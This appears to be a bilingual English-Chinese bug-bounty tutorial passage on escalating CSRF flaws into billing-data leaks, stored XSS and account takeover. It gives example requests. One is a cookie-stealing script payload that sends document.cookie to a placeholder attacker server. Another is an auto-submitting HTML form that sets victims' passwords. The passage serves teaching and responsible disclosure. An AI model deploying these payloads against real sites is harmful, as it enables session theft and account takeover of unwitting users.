Question

After you’ve found a CSRF vulnerability, don’t just report it right away! Here are a few ways you can escalate CSRFs into severe security issues to maximize the impact of your report. Often, you need to use a combination of CSRF and other minor design flaws to discover these.

在找到 CSRF 漏洞后，不要立即报告！以下是一些方法，可以将 CSRF 升级为严重的安全问题，以最大化报告的影响。通常，您需要结合 CSRF 和其他轻微的设计缺陷才能发现这些问题。

Leak User Information by Using CSRF

CSRF can sometimes cause information leaks as a side effect. Applications often send or disclose information according to user preferences. If you can change these settings via CSRF, you can pave the way for sensitive information disclosures.

CSRF 有时会导致信息泄漏作为副作用。 应用程序通常根据用户偏好发送或披露信息。 如果您可以通过 CSRF 更改这些设置，您就可以为敏感信息披露铺平道路。

For example, let’s say the example.com web application sends monthly billing emails to a user-designated email address. These emails contain the users’ billing information, including street addresses, phone numbers, and credit card information. The email address to which these billing emails are sent can be changed via the following request:

例如，假设 example.com Web 应用程序向用户指定的电子邮件地址发送每月账单电子邮件。这些电子邮件包含用户的账单信息，包括街道地址、电话号码和信用卡信息。通过以下请求可以更改发送这些账单电子邮件的电子邮件地址：

POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=NEW_EMAIL&csrf_token=871caef0757a4ac9691aceb9aad8b65b

Unfortunately, the CSRF validation on this endpoint is broken, and the server accepts a blank token. The request would succeed even if the csrf_token field is left empty:

不幸的是，此端点上的 CSRF 验证已损坏，服务器接受空令牌。即使 csrf_token 字段为空，请求也会成功：

POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=NEW_EMAIL&    csrf_token=

An attacker could make a victim user send this request via CSRF to change the destination of their billing emails:

攻击者可能会通过跨站请求伪造使受害用户发送该请求，从而更改其帐单电子邮件的目的地。

POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=    ATTACKER_EMAIL &csrf_token=

All future billing emails would then be sent to the attacker’s email address until the victim notices the unauthorized change. Once the billing email is sent to the attacker’s email address, the attacker can collect sensitive information, such as street addresses, phone numbers, and credit card information associated with the account.

未来的所有计费电子邮件将发送到攻击者的电子邮件地址，直到受害者注意到未经授权的更改。一旦计费电子邮件发送到攻击者的电子邮件地址，攻击者可以收集与账户相关的敏感信息，如街道地址、电话号码和信用卡信息。

Create Stored Self-XSS by Using CSRF

Remember from Chapter 6 that self-XSS is a kind of XSS attack that requires the victim to input the XSS payload. These vulnerabilities are almost always considered a nonissue because they’re too difficult to exploit; doing so requires a lot of action from the victim’s part, and thus you’re unlikely to succeed. However, when you combine CSRF with self-XSS, you can often turn the self-XSS into stored XSS.

请记得第 6 章中提到的自 XSS 是一种需要受害者输入 XSS 载荷的 XSS 攻击。这些漏洞几乎总被认为是一个无需担心的问题，因为它们太难利用了；要这样做需要受害者采取很多行动，因此你很少能够成功。然而，当你将 CSRF 与自 XSS 结合时，你经常可以将自 XSS 转化为存储 XSS。

For example, let’s say that example.com ’s financial subdomain, finance.example.com , gives users the ability to create nicknames for each of their linked bank accounts. The account nickname field is vulnerable to self-XSS: there is no sanitization, validation, or escaping for user input on the field. However, only the user can edit and see this field, so there is no way for an attacker to trigger the XSS directly.

比如说，假设 example.com 的财务子域名 finance.example.com 让用户为他们链接的每个银行账户创建昵称。账户昵称字段容易受到自我 XSS:该字段上没有对用户输入进行消毒、验证或转义。然而，只有用户能够编辑和查看这个字段，因此攻击者无法直接触发 XSS。

However, the endpoint used to change the account nicknames is vulnerable to CSRF. The application doesn’t properly validate the existence of the CSRF token, so simply omitting the token parameter in the request will bypass CSRF protection. For example, this request would fail, because it contains the wrong token:

然而，用于更改帐户昵称的端点易受 CSRF 攻击。该应用程序未正确验证 CSRF 令牌的存在，因此在请求中省略令牌参数将绕过 CSRF 保护。例如，此请求将失败，因为它包含错误的令牌：

POST /change_account_nickname
Host: finance.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
account=0
&nickname="<script>document.location='http://attacker_server_ip/
cookie_stealer.php?c='+document.cookie;</script>"
&    csrf_token=WRONG_TOKEN

But this request, with no token at all, would succeed:

但是没有任何令牌的这个请求仍然会成功。

POST /change_account_nickname
Host: finance.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
account=0
&nickname="<script>document.location='http://attacker_server_ip/
cookie_stealer.php?c='+document.cookie;</script>"

This request will change the user’s account nickname and store the XSS payload there. The next time a user logs into the account and views their dashboard, they’ll trigger the XSS.

这个请求将更改用户帐户的昵称，并将 XSS 负载存储在那里。下次用户登录并查看其仪表板时，就会触发 XSS。

Take Over User Accounts by Using CSRF

Sometimes CSRF can even lead to account takeover. These situations aren’t uncommon, either; account takeover issues occur when a CSRF vulnerability exists in critical functionality, like the code that creates a password, changes the password, changes the email address, or resets the password.

有时候，跨站请求伪造甚至可以导致账户被接管。这种情况并不罕见；如果在关键的功能上，比如创建、更改、重置密码或更改电子邮件地址的代码中存在 CSRF 漏洞，则可能会出现账户被接管的问题。

For example, let’s say that in addition to signing up by using an email address and password, example.com also allows users to sign up via their social media accounts. If a user chooses this option, they’re not required to create a password, as they can simply log in via their linked account. But to give users another option, those who’ve signed up via social media can set a new password via the following request:

例如，假设除了通过电子邮件地址和密码注册外，example.com 还允许用户通过其社交媒体帐户进行注册。如果用户选择此选项，则不需要创建密码，因为他们可以通过已链接的帐户直接登录。但为了给用户另一个选项，通过社交媒体注册的用户可以通过以下请求设置新密码。

POST /set_password
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
password=XXXXX&csrf_token=871caef0757a4ac9691aceb9aad8b65b

Since the user signed up via their social media account, they don’t need to provide an old password to set the new password, so if CSRF protection fails on this endpoint, an attacker would have the ability to set a password for anyone who signed up via their social media account and hasn’t yet done so.

由于用户是通过其社交媒体账户注册的，因此在设置新密码时无需提供旧密码，因此如果在此端点上 CSRF 保护失败，则攻击者将有能力为任何通过其社交媒体账户注册但尚未设置密码的人设置密码。

Let’s say the application doesn’t validate the CSRF token properly and accepts an empty value. The following request will set a password for anyone who doesn’t already have one set:

假设应用程序没有正确验证 CSRF 令牌，而是接受空值。以下请求将为尚未设置密码的任何人设置密码：

POST /set_password
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
password=    XXXXX&csrf_token=

Now all an attacker has to do is to post a link to this HTML page on pages frequented by users of the site, and they can automatically assign the password of any user who visits the malicious page:

现在攻击者只需要在经常被网站用户访问的页面上发布这个 HTML 页面的链接，他们就可以自动分配任何访问恶意页面的用户的密码：

<html>
  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
    <input type="text" name="new_password" value="this_account_is_now_mine">
    <input type="text" name="csrf_token" value="">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

After that, the attacker is free to log in as any of the affected victims with the newly assigned password this_account_is_now_mine .

此后，攻击者可以使用新分配的密码 this_account_is_now_mine 以受影响的任何受害者的登录身份。

While the majority of CSRFs that I have encountered were low-severity issues, sometimes a CSRF on a critical endpoint can lead to severe consequences.

虽然我遇到的大多数 CSRF 都是低严重性问题，但是有时候在关键节点发生的 CSRF 可能会产生严重后果。